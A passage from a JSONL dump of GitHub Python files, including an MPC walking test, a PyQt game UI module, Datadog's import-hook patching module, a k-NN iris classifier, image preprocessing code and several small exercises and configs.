15\nmpcparams.Tdouble = 40\nmpcparams.Tend = 20\nmpcparams.Tmpc = 120\nmpcparams.DT = params.DT\nmpcparams.solver_th_stop = 1e-3\nmpcparams.vcomRef = params.vcomRef\nmpcparams.solver_reg_min = 1e-6\nmpcparams.solver_maxiter = 2\n\n# --- CONTACT PATTERN\n\ncontactPattern = np.array(\n []\n + [[1, 1]] * mpcparams.Tstart\n + [[1, 1]] * mpcparams.Tdouble\n + [[1, 0]] * mpcparams.Tsingle\n + [[1, 1]] * mpcparams.Tdouble\n + [[0, 1]] * mpcparams.Tsingle\n + [[1, 1]] * mpcparams.Tdouble\n + [[1, 1]] * mpcparams.Tend\n + [[1, 1]]\n).T\n\nassert params.transitionDuration * 2 < mpcparams.Tdouble\n\n# --- OCP\nocp = sobec.OCPWalk(robot, params, contactPattern)\nocp.buildSolver()\n\n# --- MPC\n\nmpc = sobec.MPCWalk(mpcparams, ocp.problem)\n\nmpc.initialize(ocp.solver.xs[: mpcparams.Tmpc + 1], ocp.solver.us[: mpcparams.Tmpc])\nmpc.solver.setCallbacks(\n [\n # croc.CallbackVerbose(),\n sobec.wwt.CallbackMPCWalk(robot.contactIds)\n ]\n)\nx = robot.x0\n\nfor t in range(2 * mpcparams.Tmpc):\n mpc.calc(x, t)\n x = mpc.solver.xs[1]\n\n\n# Check final state\nassert abs(x[5] + 0.5510828857463467) < 1e-6\n","repo_name":"MeMory-of-MOtion/sobec","sub_path":"tests/python/test_mpccpp.py","file_name":"test_mpccpp.py","file_ext":"py","file_size_in_byte":3754,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"82"} +{"seq_id":"70011139150","text":"from functools import partial\nfrom typing import List\n\nfrom PyQt5.QtCore import pyqtSlot, QItemSelection\nfrom PyQt5.QtWidgets import QFrame, QTableWidget, QMainWindow, QTableWidgetItem, QDialog, QWidget\n\nfrom dao_classes import Character\nfrom main import get_roster\nfrom pyQTApp.character_sheet import display_char_sheet\nfrom pyQTApp.common import debug, load_party\nfrom pyQTApp.qt_designer_widgets.castleWindow import Ui_castleWindow\nfrom pyQTApp.qt_designer_widgets.character_dialog import Ui_character_Dialog\nfrom pyQTApp.qt_designer_widgets.gilgamesh_Tavern_QFrame import Ui_tavernFrame\n# from pyQTApp.wizardry import populate\nfrom pyQTApp.qt_designer_widgets.qt_common import populate, addItem\n\n\nclass Tavern_UI(QWidget):\n def __init__(self, characters_dir: str, castle_window: QMainWindow, castle_ui: Ui_castleWindow):\n super().__init__()\n self.tavernFrame = QFrame()\n self.ui = Ui_tavernFrame()\n self.ui.setupUi(self.tavernFrame)\n layout = castle_window.layout()\n\n layout.addWidget(self.tavernFrame)\n self.tavernFrame.setGeometry(castle_ui.castleFrame.geometry())\n\n # Populate roster\n\n roster: List[Character] = get_roster(characters_dir)\n debug(f'{len(roster)} characters in roster: \\n{roster}')\n table: QTableWidget = self.ui.gilgameshTavern_tableWidget\n populate(table, roster)\n table.selectionModel().selectionChanged.connect(partial(self.disable_remove_button, self.ui))\n self.ui.addToPartyButton.clicked.connect(self.add_char_to_party)\n\n # Populate party\n party: List[Character] = load_party()\n party_table: QTableWidget = castle_ui.party_tableWidget\n # populate(party_table, party)\n party_table.selectionModel().selectionChanged.connect(self.disable_add_button)\n self.ui.removeFromPartyButton.clicked.connect(self.remove_char_from_party)\n\n # table.itemDoubleClicked.connect(self.add_character)\n # party_table.itemDoubleClicked.connect(self.remove_character)\n\n # ui.inspectButton.clicked.connect(inspect_char)\n self.ui.inspectButton.clicked.connect(partial(self.inspect_char, castle_ui))\n\n @pyqtSlot(QTableWidgetItem)\n def add_character(self, value: QTableWidgetItem):\n global party_table, tg_table, party\n char_name: str = value.data(0)\n char: Character = [c for c in training_grounds if c.name == char_name][0]\n if len(party) == 6:\n debug(f'party is Full!!!')\n return False\n addItem(table=party_table, char=char, party=party)\n row = value.row()\n tg_table.removeRow(row)\n training_grounds.remove(char)\n party.append(char)\n self.disable_add_button()\n self.disable_remove_button()\n debug(f'{len(party)} members in party!!!')\n\n @pyqtSlot(str)\n def remove_character(self, value: QTableWidgetItem):\n global party_table, tg_table, party, training_grounds\n char_name: str = value.data(0)\n char: Character = [c for c in party if c.name == char_name][0]\n row = value.row()\n party_table.removeRow(row)\n party.remove(char)\n addItem(table=tg_table, char=char, party=training_grounds)\n training_grounds.append(char)\n self.disable_add_button()\n self.disable_remove_button()\n # debug(f'{len(party)} members in party!!!')\n\n def disable_remove_button(self, ui: Ui_tavernFrame, party: List[Character]):\n self.ui.removeFromPartyButton.setEnabled(False)\n if len(party) < 6:\n self.ui.addToPartyButton.setEnabled(True)\n\n def disable_add_button(self, ui: Ui_tavernFrame):\n self.ui.addToPartyButton.setEnabled(False)\n self.ui.removeFromPartyButton.setEnabled(True)\n\n @pyqtSlot()\n def inspect_char():\n global party_table, tg_table, training_grounds\n if party_table.selectedIndexes():\n row: int = party_table.currentRow()\n char_name: str = party_table.item(row, 0).text()\n char: Character = [c for c in party if c.name == char_name][0]\n else:\n row: int = tg_table.currentRow()\n char_name: str = tg_table.item(row, 0).text()\n char: Character = [c for c in training_grounds if c.name == char_name][0]\n character_Dialog = QDialog()\n ui = Ui_character_Dialog()\n ui.setupUi(character_Dialog)\n display_char_sheet(character_Dialog, ui, char)\n\n @pyqtSlot(QItemSelection, QItemSelection)\n def on_selection_changed(self, selected: QItemSelection, deselected: QItemSelection):\n global tg_ui\n debug(f'selected: {selected}')\n debug(f'deselected: {deselected}')\n if training_grounds:\n tg_ui.inspectButton.setEnabled(True)\n else:\n tg_ui.addToPartyButton.setEnabled(False)\n\n @pyqtSlot()\n def add_char_to_party(self):\n global party_table, tg_table, party, tg_ui\n row: int = tg_table.currentRow()\n char_name: str = tg_table.item(row, 0).text()\n char: Character = [c for c in training_grounds if c.name == char_name][0]\n # debug(f'selected char: {char}')\n if len(party) == 6:\n debug(f'party is Full!!!')\n return False\n addItem(table=party_table, char=char, party=party)\n tg_table.removeRow(row)\n training_grounds.remove(char)\n tg_table.setRowCount(len(training_grounds))\n party.append(char)\n self.disable_add_button()\n self.disable_remove_button()\n if training_grounds:\n tg_ui.inspectButton.setEnabled(True)\n else:\n tg_ui.addToPartyButton.setEnabled(False)\n # debug(f'{len(party)} members in party!!!')\n\n @pyqtSlot()\n def remove_char_from_party(self):\n global party_table, tg_table, training_grounds\n row: int = party_table.currentRow()\n char_name: str = party_table.item(row, 0).text()\n char: Character = [c for c in party if c.name == char_name][0]\n debug(f'selected char: {char}')\n addItem(table=tg_table, char=char, party=training_grounds)\n party_table.removeRow(row)\n party.remove(char)\n party_table.setRowCount(len(party))\n training_grounds.append(char)\n self.disable_add_button()\n if not party:\n self.disable_remove_button()\n # debug(f'{len(party)} members in party!!!')\n","repo_name":"codingame-team/DnD-5th-Edition-API","sub_path":"pyQTApp/qt_designer_widgets/Tavern_module.py","file_name":"Tavern_module.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38831809140","text":"#!/usr/bin/python3\n\nimport os\n\n\ndef FlagsForFile(fpath, **kwargs):\n name, ext = os.path.splitext(fpath)\n \n if ext == '.c':\n flags = ['-x', 'c', '-std=c11', '-Wall', '-Wextra', '-Werror']\n return {'flags': flags}\n \n elif ext in {'.cpp', '.h', '.cc'}:\n flags = ['-x', 'c++', '-std=c++11', '-Wall', '-Wextra', '-Werror']\n return {'flags': flags}\n","repo_name":"googlebleh/configs","sub_path":"vim/ycm_extra_conf.py","file_name":"ycm_extra_conf.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70831197069","text":"if __name__ == '__main__':\r\n N = int(input(\"enter number of commands:\"))\r\n output=[]\r\n for i in range(N):\r\n A=input(\"enter the command(insert,print,remove,append,sort,pop,reverse):\")\r\n l=A.split(\" \")\r\n if l[0]=='insert':\r\n output.insert(int(l[1]),int(l[2]))\r\n elif l[0]=='print':\r\n print(output) \r\n elif l[0]=='remove':\r\n output.remove(int(l[1]))\r\n elif l[0]=='append':\r\n output.append(int(l[1]))\r\n elif l[0]=='sort':\r\n output.sort() \r\n elif l[0]=='pop':\r\n output.pop()\r\n elif l[0]=='reverse':\r\n output=output[::-1] \r\n else:\r\n print(\"command does not exist! please enter valid command\")\r\n ","repo_name":"ashkarnale19/-Python","sub_path":"operations_on_lists.py","file_name":"operations_on_lists.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9135172163","text":"import os\n\nAUTHOR = os.getenv('PELICAN_AUTHOR', 'author-test')\nSITENAME = os.getenv('PELICAN_SITENAME', 'site-test')\nSITEURL = ''\n\nPATH = 'content'\n\nTIMEZONE = os.getenv('PELICAN_TIMEZONE', 'Europe/Rome')\n\nDEFAULT_LANG = os.getenv('PELICAN_LANG', 'fr')\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n\n# Blogroll\nLINKS = (('Pelican', 'https://getpelican.com/'),\n ('Python.org', 'https://www.python.org/'),\n ('Jinja2', 'https://palletsprojects.com/p/jinja/'),\n ('You can modify those links in your config file', '#'),)\n\n# Social widget\nSOCIAL = (('You can add links in your config file', '#'),\n ('Another social link', '#'),)\n\nDEFAULT_PAGINATION = 10\n\nBIND = os.getenv('PELICAN_BIND', '127.0.0.1')\nPORT = int(os.getenv('PELICAN_PORT', 8000))\n\nTHEME = '/opt/site-pelican/pelican-themes/'+os.getenv('PELICAN_THEME', 'basic')\nprint(THEME)\n# Uncomment following line if you want document-relative URLs when developing\n#RELATIVE_URLS = True","repo_name":"babidi34/Affiliation-project","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2138148774","text":"\"\"\"\nModule for patching Python's internal import system for import hooks.\n\nThere are a few ways to monitor Python imports, but we have found the following method\nof patching internal Python functions and builtin functions the most reliable and\nleast invasive process.\n\nGiven the challenges faced by implementing PEP 302, and our experience with monkey patching\nand wrapping internal Python functions was an easier and more reliable way\nof implementing this feature in a way that has little effect on other packages.\n\nFor us to successfully use import hooks, we need to ensure that the hooks are always called\nregardless of the condition or means of importing the module.\n\n\nPEP 302 defines a process for adding import \"hooks\".\nhttps://www.python.org/dev/peps/pep-0302/\n\nThe way it works is by adding a custom \"finder\" onto `sys.meta_path`,\nfor example: `sys.meta_path.append(MyFinder)`\n\nFinders are a way for users to customize the way the Python import system\nfinds and loads modules.\n\nThis approach has a few flaws\n\n1) Finders are called in order. In order for us to always ensure we are able to capture\nevery import we would need to make sure that our Finder is always first in `sys.meta_path`.\n\nThis can become tricky when the user uses another package that adds to `sys.meta_path`\n(e.g. `six`, or `newrelic`).\n\nIf another Finder runs before ours and finds the module they are looking for, then ours will\nnever get called.\n\n2) Finders were never meant to be used this way. An example of a good finder is a custom\nfinder that looks for and loads a module off of a shared central server instead of a\nlocation on the existing Python path, or one that knows how to load modules from a `.zip`\nor another file format.\n\n3) The code is a little complex. In order to write a no-op finder we need to ensure\nother finders are called by us, and then at the end we look if they found a module and return it.\n\nThis is the approach `wrapt` went for and requires locking and keeping the state of the current module\nbeing loaded and re-calling `__import__` for the module to trigger the other finders.\n\n4) Reloading a module is a weird case that doesn't always trigger a module finder.\n\n\nFor these reasons we have decided to patch Python's internal module loading functions instead.\n\"\"\"\nimport sys\nimport threading\n\nfrom ..compat import PY3\nfrom ..vendor import wrapt\nfrom .logger import get_logger\n\n\n__all__ = [\"hooks\", \"register_module_hook\", \"patch\", \"unpatch\"]\n\nlog = get_logger(__name__)\n\nORIGINAL_IMPORT = __import__\n\n\nclass ModuleHookRegistry(object):\n \"\"\"\n Registry to keep track of all module import hooks defined\n \"\"\"\n\n __slots__ = (\"hooks\", \"lock\")\n\n def __init__(self):\n \"\"\"\n Initialize a new registry\n \"\"\"\n self.lock = threading.Lock()\n self.reset()\n\n def register(self, name, func):\n \"\"\"\n Register a new hook function for the provided module name\n\n If the module is already loaded, then ``func`` is called immediately\n\n :param name: The name of the module to add the hook for (e.g. 'requests', 'flask.app', etc)\n :type name: str\n :param func: The function to register as a hook\n :type func: function(module)\n \"\"\"\n with self.lock:\n if name not in self.hooks:\n self.hooks[name] = set([func])\n else:\n self.hooks[name].add(func)\n\n # Module is already loaded, call hook right away\n if name in sys.modules:\n func(sys.modules[name])\n\n def deregister(self, name, func):\n \"\"\"\n Deregister an already registered hook function\n\n :param name: The name of the module the hook was for (e.g. 'requests', 'flask.app', etc)\n :type name: str\n :param func: The function that was registered previously\n :type func: function(module)\n \"\"\"\n with self.lock:\n # If no hooks exist for this module, return\n if name not in self.hooks:\n log.debug(\"No hooks registered for module %r\", name)\n return\n\n # Remove this function from the hooks if exists\n if func in self.hooks[name]:\n self.hooks[name].remove(func)\n else:\n log.debug(\"No hook %r registered for module %r\", func, name)\n\n def call(self, name, module=None):\n \"\"\"\n Call all hooks for the provided module\n\n If no module was provided then we will attempt to grab from ``sys.modules`` first\n\n :param name: The name of the module to call hooks for (e.g. 'requests', 'flask.app', etc)\n :type name: str\n :param module: Optional, the module object to pass to hook functions\n :type module: Module|None\n \"\"\"\n with self.lock:\n # Make sure we have hooks for this module\n if not self.hooks.get(name):\n log.debug(\"No hooks registered for module %r\", name)\n return\n\n # Try to fetch from `sys.modules` if one wasn't given directly\n if module is None:\n module = sys.modules.get(name)\n\n # No module found, don't call anything\n if not module:\n log.warning(\"Tried to call hooks for unloaded module %r\", name)\n return\n\n # Call all hooks for this module\n for hook in self.hooks[name]:\n try:\n hook(module)\n except Exception:\n log.warning(\"Failed to call hook %r for module %r\", hook, name, exc_info=True)\n\n def reset(self):\n \"\"\"Reset/remove all registered hooks\"\"\"\n with self.lock:\n self.hooks = dict()\n\n\n# Default/global module hook registry\nhooks = ModuleHookRegistry()\n\n\ndef exec_and_call_hooks(module_name, wrapped, args, kwargs):\n \"\"\"\n Helper used to execute the wrapped function with args/kwargs and then call any\n module hooks for `module_name` after\n \"\"\"\n try:\n return wrapped(*args, **kwargs)\n finally:\n # Never let this function fail to execute\n try:\n # DEV: `hooks.call()` will only call hooks if the module was successfully loaded\n hooks.call(module_name)\n except Exception:\n log.debug(\"Failed to call hooks for module %r\", module_name, exc_info=True)\n\n\ndef wrapped_reload(wrapped, instance, args, kwargs):\n \"\"\"\n Wrapper for `importlib.reload` to we can trigger hooks on a module reload\n \"\"\"\n module_name = None\n try:\n # Python 3 added specs, no need to even check for `__spec__` if we are in Python 2\n if PY3:\n try:\n module_name = args[0].__spec__.name\n except AttributeError:\n module_name = args[0].__name__\n else:\n module_name = args[0].__name__\n except Exception:\n log.debug(\"Failed to determine module name when calling `reload`: %r\", args, exc_info=True)\n\n return exec_and_call_hooks(module_name, wrapped, args, kwargs)\n\n\ndef wrapped_find_and_load_unlocked(wrapped, instance, args, kwargs):\n \"\"\"\n Wrapper for `importlib._bootstrap._find_and_load_unlocked` so we can trigger\n hooks on module loading\n\n NOTE: This code does not get called for module reloading\n \"\"\"\n module_name = None\n try:\n module_name = args[0]\n except Exception:\n log.debug(\"Failed to determine module name when importing module: %r\", args, exc_info=True)\n return wrapped(*args, **kwargs)\n\n return exec_and_call_hooks(module_name, wrapped, args, kwargs)\n\n\ndef wrapped_import(*args, **kwargs):\n \"\"\"\n Wrapper for `__import__` so we can trigger hooks on module loading\n \"\"\"\n module_name = kwargs.get(\"name\", args[0])\n\n # Do not call the hooks every time `import ` is called,\n # only on the first time it is loaded\n if module_name and module_name not in sys.modules:\n return exec_and_call_hooks(module_name, ORIGINAL_IMPORT, args, kwargs)\n\n return ORIGINAL_IMPORT(*args, **kwargs)\n\n\n# Keep track of whether we have patched or not\n_patched = False\n\n\ndef _patch():\n # Only patch once\n global _patched\n if _patched:\n return\n\n # 3.x\n if PY3:\n # 3.4: https://github.com/python/cpython/blob/3.4/Lib/importlib/_bootstrap.py#L2207-L2231\n # 3.5: https://github.com/python/cpython/blob/3.5/Lib/importlib/_bootstrap.py#L938-L962\n # 3.6: https://github.com/python/cpython/blob/3.6/Lib/importlib/_bootstrap.py#L936-L960\n # 3.7: https://github.com/python/cpython/blob/3.7/Lib/importlib/_bootstrap.py#L948-L972\n # 3.8: https://github.com/python/cpython/blob/3.8/Lib/importlib/_bootstrap.py#L956-L980\n # DEV: Python 3 has multiple entrypoints for importing a module, but `_find_and_load_unlocked`\n # is a common base/required function needed by anyone to import a module.\n # e.g. `__import__` which calls `importlib._bootstrap._find_and_load()`\n # `importlib.__import__/importlib._bootstrap.__import__` which calls `importlib._bootstrap._gcd_import()`\n # `importlib.import_module` which calls `importliob._bootstrap._gcd_import()`\n wrapt.wrap_function_wrapper(\"importlib._bootstrap\", \"_find_and_load_unlocked\", wrapped_find_and_load_unlocked)\n\n # 3.4: https://github.com/python/cpython/blob/3.4/Lib/importlib/__init__.py#L115-L156\n # 3.5: https://github.com/python/cpython/blob/3.5/Lib/importlib/__init__.py#L132-L173\n # 3.6: https://github.com/python/cpython/blob/3.6/Lib/importlib/__init__.py#L132-L173\n # 3.7: https://github.com/python/cpython/blob/3.7/Lib/importlib/__init__.py#L133-L176\n # 3.8: https://github.com/python/cpython/blob/3.8/Lib/importlib/__init__.py#L133-L176\n wrapt.wrap_function_wrapper(\"importlib\", \"reload\", wrapped_reload)\n\n # 2.7\n # DEV: Slightly more direct approach of patching `__import__` and `reload` functions\n elif sys.version_info >= (2, 7):\n # https://github.com/python/cpython/blob/2.7/Python/bltinmodule.c#L35-L68\n if __builtins__[\"__import__\"] is not wrapped_import:\n global ORIGINAL_IMPORT\n ORIGINAL_IMPORT = __builtins__[\"__import__\"]\n __builtins__[\"__import__\"] = wrapped_import\n\n # https://github.com/python/cpython/blob/2.7/Python/bltinmodule.c#L2147-L2160\n __builtins__[\"reload\"] = wrapt.FunctionWrapper(__builtins__[\"reload\"], wrapped_reload)\n\n # Update after we have successfully patched\n _patched = True\n\n\n# DEV: This is called at the end of this module to ensure we always patch\ndef patch():\n \"\"\"\n Patch Python import system, enabling import hooks\n \"\"\"\n # This should never cause their application to not load\n try:\n _patch()\n except Exception:\n log.warning(\"Failed to patch module importing, import hooks will not work\", exc_info=True)\n\n\ndef unpatch():\n \"\"\"\n Unpatch Python import system, disabling import hooks\n \"\"\"\n # Only patch once\n global _patched\n if not _patched:\n return\n _patched = False\n\n # 3.4 -> 3.8\n # DEV: Explicitly stop at 3.8 in case the functions we are patching change in any way,\n # we need to validate them before adding support here\n if (3, 4) <= sys.version_info <= (3, 8):\n import importlib\n\n if isinstance(importlib._bootstrap._find_and_load_unlocked, wrapt.FunctionWrapper):\n setattr(\n importlib._bootstrap,\n \"_find_and_load_unlocked\",\n importlib._bootstrap._find_and_load_unlocked.__wrapped__,\n )\n if isinstance(importlib.reload, wrapt.FunctionWrapper):\n setattr(importlib, \"reload\", importlib.reload.__wrapped__)\n\n # 2.7\n # DEV: Slightly more direct approach\n elif sys.version_info >= (2, 7):\n __builtins__[\"__import__\"] = ORIGINAL_IMPORT\n if isinstance(__builtins__[\"reload\"], wrapt.FunctionWrapper):\n __builtins__[\"reload\"] = __builtins__[\"reload\"].__wrapped__\n\n\ndef register_module_hook(module_name, func=None, registry=hooks):\n \"\"\"\n Register a function as a module import hook\n\n .. code:: python\n\n @register_module_hook('requests')\n def requests_hook(requests_module):\n pass\n\n\n def requests_hook(requests_module):\n pass\n\n\n register_module_hook('requests', requests_hook)\n\n\n :param module_name: The name of the module to add a hook for (e.g. 'requests', 'flask.app', etc)\n :type module_name: str\n :param func: The hook function to call when the ``module_name`` is imported\n :type func: function(module)\n :param registry: The hook registry to add this hook to (default: default global registry)\n :type registry: :class:`ModuleHookRegistry`\n :returns: Either a decorator function if ``func`` is not provided, or else the original function\n :rtype: func\n\n \"\"\"\n # If they did not give us a function, then return a decorator function\n if not func:\n\n def wrapper(func):\n return register_module_hook(module_name, func, registry=registry)\n\n return wrapper\n\n # Register this function as an import hook\n registry.register(module_name, func)\n return func\n","repo_name":"edwarda7/Datadog-s-tracing-library","sub_path":"ddtrace/internal/import_hooks.py","file_name":"import_hooks.py","file_ext":"py","file_size_in_byte":13252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70035665548","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport csv\n\nwith open('iris.data.txt', 'r') as csvfile:\n lines = csv.reader(csvfile)\n for row in lines :\n print (', '.join(row))\n\n#Next we need to split the data into a training dataset \n\n\n# # Handle Data\n\n# In[16]:\n\n\nimport csv\nimport random\ndef loadDataset(filename, split, trainingSet=[] , testSet=[]):\n with open(filename, 'r') as csvfile:\n lines = csv.reader(csvfile)\n dataset = list(lines)\n for x in range(len(dataset)-1):\n for y in range(4):\n dataset[x][y] = float(dataset[x][y])\n if random.random() < split:\n trainingSet.append(dataset[x])\n else:\n testSet.append(dataset[x])\n\n\n# # knn with euclidian distance\n\n# In[17]:\n\n\n\nimport math\n\ndef euclideanDistance(data1, data2, length):\n sum = 0\n for i in range(int(length)):\n sum += pow((data2[i]-data1[i]),2)\n distance = math.sqrt(sum)\n return distance\n\n\n# In[18]:\n\n\nimport operator\n\ndef getNeighbors(trainingSet, testInstance, k):\n distances = []\n length = len(testInstance)-1\n for x in range(len(trainingSet)):\n dist = euclideanDistance(testInstance, trainingSet[x], length)\n distances.append((trainingSet[x], dist))\n distances.sort(key=operator.itemgetter(1))\n neighbors = []\n for x in range(k):\n neighbors.append(distances[x][0])\n\n return neighbors\n\n\n# In[19]:\n\n\nimport operator\n\ndef getResponse(neighbors):\n classVotes = {}\n for x in range(len(neighbors)):\n response = neighbors[x][ -1 ] \n if response in classVotes:\n classVotes[response] +=1\n else:\n classVotes[response] =1 \n sortedVotes = sorted(classVotes.items(), key=operator.itemgetter(1), reverse=True)\n\n return sortedVotes[0][0]\n\n\n# In[20]:\n\n\ndef getAccuracy(testSet, predictions):\n correct=0\n for i in range(len(testSet)):\n if testSet[i][-1]==predictions[i]:\n correct+=1\n return round((correct/float(len(testSet))) * 100.0,2)\n\n\n# # apply knn to iris dataset\n\n# In[22]:\n\n\ntrainingSet=[]\n\ntestSet=[]\n\nloadDataset('iris.data.txt', 0.66, trainingSet, testSet)\n\nprint ('Train: ' + repr(len(trainingSet)))\n\nprint ('Test: ' + repr(len(testSet)) )\n\n\n# In[25]:\n\n\nneighbors = []\nfor test in testSet:\n neighbors.append(getNeighbors(trainingSet, test, 3))\n\n\n# In[24]:\n\n\nresponses=[]\nfor i in range(len(neighbors)):\n responses.append(getResponse(neighbors[i]))\naccuracy = getAccuracy(testSet, responses)\nprint(accuracy,\"%\")\n\n","repo_name":"KahinaBELAIDI/kNN","sub_path":"kNN-iris.py","file_name":"kNN-iris.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39539214579","text":"#!/usr/bin/env python3\n\"\"\"\nmodule which contains add_arrays cat_matrices2D\n\"\"\"\n\n\ndef add_arrays(arr1, arr2):\n \"\"\"\n returns matrix addition from two arrays without numpy\n \"\"\"\n length = len(arr1)\n if length != len(arr2):\n return None\n add = []\n i = 0\n while i < length:\n add.append(arr1[i] + arr2[i])\n i += 1\n return add\n\n\ndef cat_matrices2D(mat1, mat2, axis=0):\n \"\"\"\n cocatenates two 2D matrix\n \"\"\"\n\n mat1copy = list(map(list, mat1))\n if not axis:\n len1 = len(mat1copy[0])\n len2 = len(mat2[0])\n if len1 == len2:\n for item in mat2:\n mat1copy.append(item)\n return mat1copy\n if axis == 1:\n len1 = len(mat1copy)\n len2 = len(mat2)\n if len1 == len2:\n i = 0\n for item in mat2:\n mat1copy[i] = mat1copy[i] + item\n i += 1\n return mat1copy\n return None\n\n\ndef cat_matrices(mat1, mat2, axis=0):\n \"\"\"\n concatenates two matrices along a specific axis\n \"\"\"\n aux1 = mat1\n aux2 = mat2\n i = 0\n while type(aux1) == list:\n if i == 0 and type(aux1) is list and type(aux2) is list:\n if len(aux1) != len(aux2):\n return None\n i += 1\n aux1 = aux1[0]\n aux2 = aux2[0]\n if i == 1:\n return add_arrays(mat1, mat2)\n if i == 2:\n return cat_matrices2D(mat1, mat2, axis)\n if i == 4:\n matcopy1 = list(map(lambda x: list(map(list, x)), mat1))\n len1 = len(mat1)\n len2 = len(mat1[0])\n len3 = len(mat1[0][0])\n if axis == 0:\n return matcopy1 + mat2\n if axis == 1:\n for i in range(len1):\n for j in range(len2):\n matcopy1[i] += mat2[i]\n if axis == 3:\n for i in range(len1):\n for j in range(len2):\n for k in range(len3):\n matcopy1[i][j][k] += mat2[i][j][k]\n return matcopy1\n","repo_name":"Joaquin2000zz/holbertonschool-machine_learning","sub_path":"math/0x00-linear_algebra/102-squashed_like_sardines.py","file_name":"102-squashed_like_sardines.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29739504317","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 17 11:40:38 2021\r\n\r\n@author: Ådne\r\n\"\"\"\r\nimport numpy as np\r\nfrom glob import glob\r\nimport utilities\r\nimport scipy.ndimage as ndimage\r\nfrom math import ceil\r\n\r\n# Function for adding noise. For noise size bigger than one, it creates a noise matrix with lower resolution than the image,\r\n# before it scales it up and adds it to the image \r\ndef addNoise(img, sigma, size=1):\r\n mu = 0\r\n shape = img.shape\r\n if size == 1:\r\n noise = np.random.normal(mu, sigma, shape)\r\n else:\r\n dims = (ceil(img.shape[0] / size),ceil(img.shape[0] / size),ceil(img.shape[0] / size))\r\n noise = np.random.normal(mu, sigma, dims)\r\n noise = noise.repeat(size, axis=0)\r\n noise = noise.repeat(size, axis=1)\r\n noise = noise.repeat(size, axis=2)\r\n noise = noise[:shape[0], :shape[1], :shape[2]]\r\n \r\n img = img + noise\r\n return img\r\n# Funtion for adding gaussian blur\r\ndef addGaussian(img, sigma):\r\n img = ndimage.gaussian_filter(img, sigma=sigma, order=0)\r\n return img\r\n\r\n# Preprocessing function\r\ndef preprocess(img, sigmaGaussian, sigmaNoise, sizeNoise, oilColor, solidColor, waterColor):\r\n if img.max() < 3:\r\n img = np.where(img == 0, oilColor, img)\r\n img = np.where(img == 1, solidColor, img)\r\n img = np.where(img == 2, waterColor, img)\r\n img = addGaussian(img, sigma=sigmaGaussian)\r\n img = addNoise(img, sigma=sigmaNoise, size = sizeNoise)\r\n img = addNoise(img, sigma=sigmaNoise/2, size=1)\r\n return img\r\n\r\nif __name__ == '__main__':\r\n # Parameters for preprocessing\r\n black = 51\r\n gray = 61\r\n white = 67\r\n sigmaG = 2\r\n sigmaN = 0.4\r\n sizeN = 2\r\n \r\n # Paths\r\n path = \"D:/Master/Data/synthetic_bead_packs/ResizedErodedGrids/20iterations/\"\r\n maskFolder = \"masks/\"\r\n imagesFolder = \"images/\"\r\n \r\n # Get paths to the masks\r\n masks = sorted(glob(path + \"masks/*\"))\r\n \r\n # Preprocess all masks\r\n for maskPath in masks:\r\n print(maskPath)\r\n with open(maskPath, 'rb') as f:\r\n mask = np.load(f)\r\n image = preprocess(mask, sigmaGaussian=sigmaG, sigmaNoise=sigmaN, sizeNoise=sizeN, oilColor=black, solidColor=gray, waterColor=white)\r\n print(\"Finished preprocessing\")\r\n # Save to image folder\r\n utilities.saveModel(path=path + imagesFolder, fileName=maskPath.split('\\\\')[-1], grid=image)\r\n \r\n \r\n \r\n","repo_name":"aavikdal/FluidFlowSegmentation","sub_path":"Master Project/preProcessImages.py","file_name":"preProcessImages.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"19873969668","text":"import os, time\n\ndef getCPUtemp():\n file = open('/sys/class/thermal/thermal_zone0/temp','r')\n lines = file.readlines()\n temp_float = float(lines[0])/1000\n temp_str = 'CPU Temp: {:.1f}*C'.format(temp_float)\n file.close()\n return temp_float, temp_str\n\n\nwhile True:\n temp_f, temp_str = getCPUtemp()\n print(temp_str)\n time.sleep(1)\n","repo_name":"adavidson32/EOTG","sub_path":"python/code/sensors/cpu_temp_print.py","file_name":"cpu_temp_print.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3956088265","text":"from logging import currentframe\nfrom typing import Optional\n\nfrom django.test import TestCase\nfrom django.db.utils import IntegrityError\n\nfrom kotopedia.models import *\n\ndef create_kotodummy(no: int, name: str, description: str, stage: StageType, rarity = Optional[RarityType]) -> Kotodummy:\n return Kotodummy(no, name, description, stage, rarity)\n\nclass KotodummyModelTest(TestCase):\n\n def test_create_kotodummy_with_no_stage_raises_integrity_error(self):\n kotodummy = create_kotodummy(0, '', '', None)\n\n self.assertRaises(IntegrityError, kotodummy.save)\n\n def test_creating_kotodummy_with_duplicate_id_overwrites(self):\n kotodummy_one = create_kotodummy(1, 'Kotodummy', '', StageType.CHILD)\n kotodummy_one.save()\n\n kotodummy_one = create_kotodummy(1, 'Kotodama', '', StageType.GRADUATED)\n kotodummy_one.save()\n\n self.assertEqual(1, Kotodummy.objects.count())\n self.assertEqual('Kotodama', kotodummy_one.name)\n \n def 